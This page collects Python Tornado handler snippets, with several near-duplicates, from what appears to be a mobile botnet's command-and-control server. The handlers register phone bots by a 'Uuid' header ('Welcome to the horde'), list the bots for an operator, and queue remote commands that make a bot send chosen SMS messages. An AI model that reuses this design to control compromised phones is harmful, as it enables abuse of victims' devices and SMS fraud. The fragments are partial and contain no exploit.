Ejemplo n.º 1
0
 def get(self, *args, **kwargs):
     ''' Bots come here and say hello '''
     bot = PhoneBot.by_uuid(self.request.headers['Uuid'])
     if bot == None:
         bot = PhoneBot(
             uuid=self.request.headers['Uuid'].encode('utf-8', 'ignore'))
         self.dbsession.add(bot)
         self.dbsession.flush()
         self.write("Welcome to the horde")
     else:
         self.write("Pink evil robots")
     self.finish()
Ejemplo n.º 2
0
 def get(self, *args, **kwargs):
     try:
         bot_id = self.get_argument("bot_id")
         bot = PhoneBot.by_id(bot_id)
         if bot == None:
             raise ValueError
     except:
         self.write("Error")
         self.finish()
         return
     self.render("user/botdetails.html", bot = bot)
Ejemplo n.º 3
0
 def render(self, *args, **kwargs):
     session_manager = SessionManager.Instance()
     session = session_manager.get_session(self.handler.get_secure_cookie('auth'), self.request.remote_ip)
     if session != None:
         if session.data['menu'] == 'user':
             return self.render_string('sidebar/user.html',
                 bots = PhoneBot.get_all()
             )
         elif session.data['menu'] == 'admin':
             return self.render_string('sidebar/user.html', uri = self.handler.request.uri)
     return self.render_string('sidebar/public.html', uri = self.handler.request.uri)
Ejemplo n.º 4
0
 def get(self, *args, **kwargs):
     try:
         bot_id = self.get_argument("bot_id")
         bot = PhoneBot.by_id(bot_id)
         if bot == None:
             raise ValueError
     except:
         self.write("Error")
         self.finish()
         return
     self.render("user/botdetails.html", bot=bot)
Ejemplo n.º 5
0
 def get(self, *args, **kwargs):
     ''' Bots come here and say hello '''
     bot = PhoneBot.by_uuid(self.request.headers['Uuid'])
     if bot == None:
         bot = PhoneBot(uuid = self.request.headers['Uuid'].encode('utf-8', 'ignore'))
         self.dbsession.add(bot)
         self.dbsession.flush()
         self.write("Welcome to the horde")
     else:
         self.write("Pink evil robots")
     self.finish()
Ejemplo n.º 6
0
 def render(self, *args, **kwargs):
     session_manager = SessionManager.Instance()
     session = session_manager.get_session(
         self.handler.get_secure_cookie('auth'), self.request.remote_ip)
     if session != None:
         if session.data['menu'] == 'user':
             return self.render_string('sidebar/user.html',
                                       bots=PhoneBot.get_all())
         elif session.data['menu'] == 'admin':
             return self.render_string('sidebar/user.html',
                                       uri=self.handler.request.uri)
     return self.render_string('sidebar/public.html',
                               uri=self.handler.request.uri)
Ejemplo n.º 7
0
 def post(self, *args, **kwargs):
     """ Creates SMS send message commands """
     try:
         bot_id = self.get_argument("bot-id")
         contact_id = self.get_argument("sms-contact")
         text_message = self.get_argument("sms-text")
     except:
         self.render("user/error.html", operation="Send SMS", errors="Missing parameters")
         return
     bot = PhoneBot.by_id(bot_id)
     cmd = {"op": "sms", "phone_number": Contact.by_id(contact_id).phone_number, "message": text_message}
     rcommand = RemoteCommand(phone_bot_id=bot.id, command=json.dumps(cmd).encode("utf-8", "ignore"))
     self.dbsession.add(rcommand)
     self.dbsession.flush()
     self.render("user/smssuccess.html")
Ejemplo n.º 8
0
 def post(self, *args, **kwargs):
     ''' Creates SMS send message commands '''
     try:
         bot_id = self.get_argument("bot-id")
         contact_id = self.get_argument("sms-contact")
         text_message = self.get_argument("sms-text")
     except:
         self.render("user/error.html", operation = "Send SMS", errors = "Missing parameters")
         return
     bot = PhoneBot.by_id(bot_id)
     cmd = {
         'op': 'sms', 
         'phone_number': Contact.by_id(contact_id).phone_number,
         'message': text_message,
     }
     rcommand = RemoteCommand(
         phone_bot_id = bot.id,
         command = json.dumps(cmd).encode('utf-8', 'ignore'),
     )
     self.dbsession.add(rcommand)
     self.dbsession.flush()
     self.render("user/smssuccess.html")
Ejemplo n.º 9
0
 def get(self, *args, **kwargs):
     ''' Display the default user page '''
     user = User.by_user_name(self.session.data['user_name'])
     self.render('user/home.html', bots = PhoneBot.get_all())
Ejemplo n.º 10
0
 def get_current_user(self):
     return PhoneBot.by_uuid(self.request.headers['Uuid'].encode('utf-8', 'ignore'))
Ejemplo n.º 11
0
 def get_current_user(self):
     return PhoneBot.by_uuid(self.request.headers['Uuid'].encode(
         'utf-8', 'ignore'))
Ejemplo n.º 12
0
 def get(self, *args, **kwargs):
     """ Display the default user page """
     user = User.by_user_name(self.session.data["user_name"])
     self.render("user/home.html", bots=PhoneBot.get_all())